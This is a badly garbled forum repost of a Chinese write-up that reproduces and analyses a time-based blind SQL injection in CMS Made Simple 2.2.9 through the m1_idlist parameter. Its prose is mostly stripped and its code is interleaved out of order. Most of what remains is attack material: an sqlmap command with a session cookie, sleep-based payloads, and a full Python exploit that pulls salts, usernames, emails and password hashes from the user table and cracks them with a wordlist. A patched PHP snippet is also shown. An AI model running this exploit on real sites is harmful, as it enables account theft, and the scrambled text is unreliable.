[14310] 2019-07-05_关于CMSMS中SQL注入漏洞的复现与分析与利用

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2019-07-05_关于CMSMS中SQL注入漏洞的复现与分析与利用 C M S M S S Q L N e r o q i   F r e e B u f   2 0 1 9 - 0 7 - 0 5 C M S   M a d e   S i m p l e ( C M S M S ) 便 使 便 使 P H P M y S Q L S m a r t y R S S C M S   M a d e   S i m p l e   < =   2 . 2 . 9 S Q L m 1 _ i d l i s t S Q L 1 . K a l i - L i n u x - 2 0 1 9 . 2 - v m - i 3 8 6 2 . C N _ W i n d o w s 7 _ x 8 6 _ s p 1 3 . C M S   M a d e   S i m p l e   2 . 2 . 8 1 . B u r p S u i t e   v 1 . 7 . 3 6 2 . p y t h o n - 2 . 7 . 1 5 3 . M o z i l l a   F i r e f o x   6 0 . 6 . 2 1 .   U R L h t t p : / / s e r v e r - i p / c m s m s / m o d u l e i n t e r f a c e . p h p ? m a c t = N e w s , m 1 _ , d e f a u l t , 0 & m 1 _ i d l i s t = m 1 _ i d l i s t 1 6 1 9 c m s m s m 1 _ i d l i s t 2 6 2 4 c m s m s m 1 _ i d l i s t m 1 _ i d l i s t I D 2 .   s q l m a p 2 . 1   c o o k i e M o z i l l a   F i r e f o x 1 2 7 . 0 . 0 . 1 : 8 0 8 0 B u r p S u i t e 访 U R L B u r p S u i t e H T T P   h i s t o r y C o o k i e 2 . 2   2 . 1 c o o k i e 使 s q l m a p U R L m 1 _ i d l i s t s q l m a p s q l m a p   - u   " h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 4 0 / c m s m s / m o d u l e i n t e r f a c e . p h p ? m a c t = N e w s , m 1 _ , d e f a u l t , 0 & m 1 _ i d l i s t = 1 "   - p   " m 1 _ i d l i s t "   - - c o o k i e = " C M S S E S S I D 6 a e 1 2 0 6 2 8 f a 8 = v 9 r t m a i 3 j n 0 b c 4 u s j e 1 o 8 3 c 1 7 4 "   - - d b m s = " M y S Q L "   - - l e v e l   3   - - r i s k   3
2 . 3   s q l m a p 3 .   s q l m a p m 1 _ i d l i s t s l e e p 1 s 1 1 4 1 m s 1 . 1 4 1 s s l e e p 5 s 5 1 6 3 m s 5 . 1 6 3 s   s l e e p 1 0 s 1 0 1 8 4 m s 1 0 . 1 8 4 s s l e e p m 1 _ i d l i s t S Q L S Q L u n s e t i d l i s t 0 , 1 ) ) a n d ( c a s e + w h e n + ( s e l e c t + s l e e p ( 1 ) + f r o m + c m s _ u s e r s + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + - - + < ? p h p $ i d l i s t   =   " 0 , 1 , 2 ) ) a n d ( c a s e + w h e n + ( s e l e c t + s l e e p ( 1 0 ) + f r o m + c m s _ u s e r s + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + - - +   " ; i f (   i s _ s t r i n g ( $ i d l i s t )   )   {         $ t m p   =   e x p l o d e ( ' , ' ,   $ i d l i s t ) ;         f o r   ( $ i   =   0 ;   $ i   <   c o u n t ( $ t m p ) ;   $ i + + )   {                 $ t m p [ $ i ]   =   ( i n t ) $ t m p [ $ i ] ;                 i f (   $ t m p [ $ i ]   <   1   )                         u n s e t ( $ t m p [ $ i ] ) ;         }         $ i d l i s t   =   a r r a y _ u n i q u e ( $ t m p ) ;         f o r e a c h ( $ i d l i s t   a s   $ v a l u e ) {                 e c h o   $ v a l u e ;                 e c h o   " n " ;         }
i d l i s t 0 1 2 ) ) a n d ( c a s e + w h e n + ( s e l e c t + s l e e p ( 1 0 ) + f r o m + c m s _ u s e r s + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + +   u n s e t f o r $ t m p [ 0 ] < 1 $ t m p [ 0 ] u n s e t c o u n t ( $ t m p ) 1 u n s e t $ t p [ 0 ] , $ t m p [ 2 ] 2 ) ) a n d ( c a s e + w h e n + ( s e l e c t + s l e e p ( 1 0 ) + f r o m + c m s _ u s e r s + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + +   1 .   S Q L S Q L U R L M y S Q L s l e e p g e t _ s a l t ( ) g e t _ u s e r n a m e ( u s e r i d ) g e t _ e m a i l ( u s e r i d ) g e t _ p a s s w o r d ( u s e r i d ) c r a c k _ p a s s w o r d ( ) b e a u t i f y _ p r i n t ( ) m a i n ( ) g e t _ s a l t ( ) s a l t c r a c k _ p a s s w o r d ( ) g e t _ u s e r n a m e ( u s e r i d ) c m s m s g e t _ e m a i l ( u s e r i d ) g e t _ p a s s w o r d ( u s e r i d ) c r a c k _ p a s s w o r d ( ) s a l t } ? > i m p o r t   r e q u e s t s f r o m   t e r m c o l o r   i m p o r t   c o l o r e d i m p o r t   t i m e f r o m   t e r m c o l o r   i m p o r t   c p r i n t i m p o r t   o p t p a r s e i m p o r t   h a s h l i b u r l _ v u l n   =   ' h t t p : / / 1 9 2 . 1 6 8 . 1 8 8 . 1 4 0 / c m s m s / m o d u l e i n t e r f a c e . p h p ? m a c t = N e w s , m 1 _ , d e f a u l t , 0 & m 1 _ i d l i s t = ' s e s s i o n   =   r e q u e s t s . S e s s i o n ( ) d i c t i o n a r y   =   ' 1 2 3 4 5 6 7 8 9 0 q w e r t y u i o p a s d f g h j k l z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M @ . _ - $ ' f l a g   =   T r u e p a s s w o r d   =   " " s l e e p _ t i m e   =   1 u s e r n a m e   =   " " r e s u l t   =   " " e m a i l   =   " " s a l t   =   " " d e f   g e t _ s a l t ( ) :         g l o b a l   f l a g         g l o b a l   s a l t         g l o b a l   r e s u l t         s a l t   =   " "         o r d _ s a l t   =   " "         o r d _ s a l t _ t e m p   =   " "         w h i l e   f l a g :                 f l a g   =   F a l s e                 f o r   i   i n   r a n g e ( 0 ,   l e n ( d i c t i o n a r y ) ) :                         t e m p _ s a l t   =   s a l t   +   d i c t i o n a r y [ i ]                         o r d _ s a l t _ t e m p   =   o r d _ s a l t   +   h e x ( o r d ( d i c t i o n a r y [ i ] ) ) [ 2 : ]                         p a y l o a d   =   " 0 , 1 , 2 ) ) + a n d + ( s e l e c t + s l e e p ( "   +   s t r ( s l e e p _ t i m e )   +   " ) + f r o m + c m s _ s i t e p r e f s + w h e r e + s i t e p r e f _ v a l u e + l i k e + 0 x "   +   o r d _ s a l t _ t e m p   +   " 2 5 + a n d + s i t e p r e f _ n a m e + l i k e + 0 x 7 3 6 9 7 4 6 5 6 d 6 1 7 3 6 b                         u r l   =   u r l _ v u l n   +   p a y l o a d                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l )                         e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   s l e e p _ t i m e :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         s a l t   =   t e m p _ s a l t                         o r d _ s a l t   =   o r d _ s a l t _ t e m p         f l a g   =   T r u e         r e s u l t   + =   ' n [ + ]   S a l t   f o r   p a s s w o r d   f o u n d :   '   +   s a l t d e f   g e t _ u s e r n a m e ( u s e r i d ) :         g l o b a l   f l a g         g l o b a l   u s e r n a m e         g l o b a l   r e s u l t         u s e r n a m e   =   " "         o r d _ u s e r n a m e   =   " "         o r d _ u s e r n a m e _ t e m p   =   " "         w h i l e   f l a g :                 f l a g   =   F a l s e                 f o r   i   i n   r a n g e ( 0 ,   l e n ( d i c t i o n a r y ) ) :
                        t e m p _ u s e r n a m e   =   u s e r n a m e   +   d i c t i o n a r y [ i ]                         o r d _ u s e r n a m e _ t e m p   =   o r d _ u s e r n a m e   +   h e x ( o r d ( d i c t i o n a r y [ i ] ) ) [ 2 : ]                         p a y l o a d   =   " 0 , 1 , 2 ) ) + a n d + ( s e l e c t + s l e e p ( "   +   s t r ( s l e e p _ t i m e )   +   " ) + f r o m + c m s _ u s e r s + w h e r e + u s e r n a m e + l i k e + 0 x "   +   o r d _ u s e r n a m e _ t e m p   +   " 2 5 + a n d + u s e r _ i d % 3 d { i d } ) + - - + " . f o r m a t ( i d = u s e r i d )                         u r l   =   u r l _ v u l n   +   p a y l o a d                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l )                         e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   s l e e p _ t i m e :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         u s e r n a m e   =   t e m p _ u s e r n a m e                         o r d _ u s e r n a m e   =   o r d _ u s e r n a m e _ t e m p         r e s u l t   + =   ' n [ + ]   U s e r n a m e   f o u n d :   '   +   u s e r n a m e         f l a g   =   T r u e         i f   u s e r n a m e :                 r e t u r n   T r u e         e l s e :                 r e t u r n   F a l s e d e f   g e t _ e m a i l ( u s e r i d ) :         g l o b a l   f l a g         g l o b a l   e m a i l         g l o b a l   r e s u l t         e m a i l   =   " "         o r d _ e m a i l   =   " "         o r d _ e m a i l _ t e m p   =   " "         w h i l e   f l a g :                 f l a g   =   F a l s e                 f o r   i   i n   r a n g e ( 0 ,   l e n ( d i c t i o n a r y ) ) :                         t e m p _ e m a i l   =   e m a i l   +   d i c t i o n a r y [ i ]                         o r d _ e m a i l _ t e m p   =   o r d _ e m a i l   +   h e x ( o r d ( d i c t i o n a r y [ i ] ) ) [ 2 : ]                         p a y l o a d   =   " 0 , 1 , 2 ) ) + a n d + ( s e l e c t + s l e e p ( "   +   s t r ( s l e e p _ t i m e )   +   " ) + f r o m + c m s _ u s e r s + w h e r e + e m a i l + l i k e + 0 x "   +   o r d _ e m a i l _ t e m p   +   " 2 5 + a n d + u s e r _ i d % 3 d { i d } ) + - - + " . f o r m a t ( i d = u s e r i d )                         u r l   =   u r l _ v u l n   +   p a y l o a d                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l )                         e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   s l e e p _ t i m e :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         e m a i l   =   t e m p _ e m a i l                         o r d _ e m a i l   =   o r d _ e m a i l _ t e m p         r e s u l t   + =   ' n [ + ]   E m a i l   f o u n d :   '   +   e m a i l         f l a g   =   T r u e d e f   g e t _ p a s s w o r d ( u s e r i d ) :         g l o b a l   f l a g         g l o b a l   p a s s w o r d         g l o b a l   r e s u l t         p a s s w o r d   =   " "         o r d _ p a s s w o r d   =   " "         o r d _ p a s s w o r d _ t e m p   =   " "         w h i l e   f l a g :                 f l a g   =   F a l s e                 f o r   i   i n   r a n g e ( 0 ,   l e n ( d i c t i o n a r y ) ) :                         t e m p _ p a s s w o r d   =   p a s s w o r d   +   d i c t i o n a r y [ i ]                         o r d _ p a s s w o r d _ t e m p   =   o r d _ p a s s w o r d   +   h e x ( o r d ( d i c t i o n a r y [ i ] ) ) [ 2 : ]                         p a y l o a d   =   " 0 , 1 , 2 ) ) + a n d + ( s e l e c t + s l e e p ( "   +   s t r ( s l e e p _ t i m e )   +   " ) + f r o m + c m s _ u s e r s "                         p a y l o a d   + =   " + w h e r e + p a s s w o r d + l i k e + 0 x "   +   o r d _ p a s s w o r d _ t e m p   +   " 2 5 + a n d + u s e r _ i d % 3 d { i d } ) + - - + " . f o r m a t ( i d = u s e r i d )                         u r l   =   u r l _ v u l n   +   p a y l o a d                         s t a r t _ t i m e   =   t i m e . t i m e ( )                         r   =   s e s s i o n . g e t ( u r l )                         e l a p s e d _ t i m e   =   t i m e . t i m e ( )   -   s t a r t _ t i m e                         i f   e l a p s e d _ t i m e   > =   s l e e p _ t i m e :                                 f l a g   =   T r u e                                 b r e a k                 i f   f l a g :                         p a s s w o r d   =   t e m p _ p a s s w o r d                         o r d _ p a s s w o r d   =   o r d _ p a s s w o r d _ t e m p         f l a g   =   T r u e         r e s u l t   + =   ' n [ + ]   P a s s w o r d   f o u n d :   '   +   p a s s w o r d d e f   c r a c k _ p a s s w o r d ( ) :         g l o b a l   p a s s w o r d         g l o b a l   r e s u l t         g l o b a l   s a l t         d i c t   =   o p e n ( " C : / U s e r s / N e r o / D e s k t o p / p a s s 1 0 0 0 . t x t " )         f o r   l i n e   i n   d i c t . r e a d l i n e s ( ) :                 l i n e   =   l i n e . r e p l a c e ( " n " ,   " " )                 i f   h a s h l i b . m d 5 ( s t r ( s a l t )   +   l i n e ) . h e x d i g e s t ( )   = =   p a s s w o r d :
2 .   m a i n ( ) m a i n S Q L s a l t E m a i l M y S Q L   3 .   使 c m s m s S Q L C M S   M a d e   S i m p l e   2 . 2 . 1 0 2 . 2 . 1 0 i d l i s t t m p i d l i s t v a l i d l i s t i f c o u n t ( $ t m p ) - 1                 i f   h a s h l i b . m d 5 ( s t r ( s a l t )   +   l i n e ) . h e x d i g e s t ( )   = =   p a s s w o r d :                         r e s u l t   + =   " n [ + ]   P a s s w o r d   c r a c k e d :   "   +   l i n e                         b r e a k         d i c t . c l o s e ( ) d e f   b e a u t i f y _ p r i n t ( ) :         g l o b a l   r e s u l t         c p r i n t ( r e s u l t , ' g r e e n ' ,   a t t r s = [ ' b o l d ' ] ) d e f   m a i n ( ) :         g l o b a l   r e s u l t         f o r   i   i n   r a n g e ( 1 ,   1 0 ) :                 g e t _ s a l t ( )                 u s e r _ e x i s t   =   g e t _ u s e r n a m e ( i )                 i f   u s e r _ e x i s t :                         g e t _ e m a i l ( i )                         g e t _ p a s s w o r d ( i )                         c r a c k _ p a s s w o r d ( )                         b e a u t i f y _ p r i n t ( )                         r e s u l t   =   " "                 e l s e :                         b r e a k m a i n ( ) < ? p h p $ i d l i s t   =   " 0 , 1 , 2 ) ) a n d ( c a s e + w h e n + ( s e l e c t + s l e e p ( 1 0 ) + f r o m + c m s _ u s e r s + l i m i t + 1 ) + t h e n + 1 + e l s e + 2 + e n d ) + - - +   " ; i f (   i s _ s t r i n g ( $ i d l i s t )   )   {         $ t m p   =   e x p l o d e ( ' , ' ,   $ i d l i s t ) ;         $ i d l i s t   =   [ ] ;         f o r   ( $ i   =   0 ;   $ i   <   c o u n t ( $ t m p ) ;   $ i + + )   {                 $ v a l   =   ( i n t ) $ t m p [ $ i ] ;                 i f   ( $ v a l   >   0   & &   ! i n _ a r r a y ( $ v a l ,   $ i d l i s t ) )                         $ i d l i s t [ ]   =   $ v a l ;         }         f o r e a c h ( $ i d l i s t   a s   $ v a l u e ) {                 e c h o   $ v a l u e ;                 e c h o   " n " ;         } ? >
i d l i s t 1 2 S Q L * N e r o q i   F r e e B u f  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则